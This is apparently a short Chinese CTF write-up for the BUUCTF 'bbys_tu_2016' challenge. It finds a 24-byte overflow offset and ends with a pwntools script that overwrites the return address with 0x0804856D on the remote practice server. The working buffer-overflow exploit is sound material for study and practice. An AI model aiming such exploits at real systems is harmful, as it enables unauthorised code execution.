bbys_tu_2016（overflow）

check

32位，开个nx

这题没什么说的

这里的偏移并不是0xc，cyclic试一下是24

exp：

from pwn import*

p=remote('node4.buuoj.cn',28034)
context.log_level='debug'
flag=0x0804856D
payload='A'*(20+4)+p32(flag)
p.sendline(payload)
p.interactive()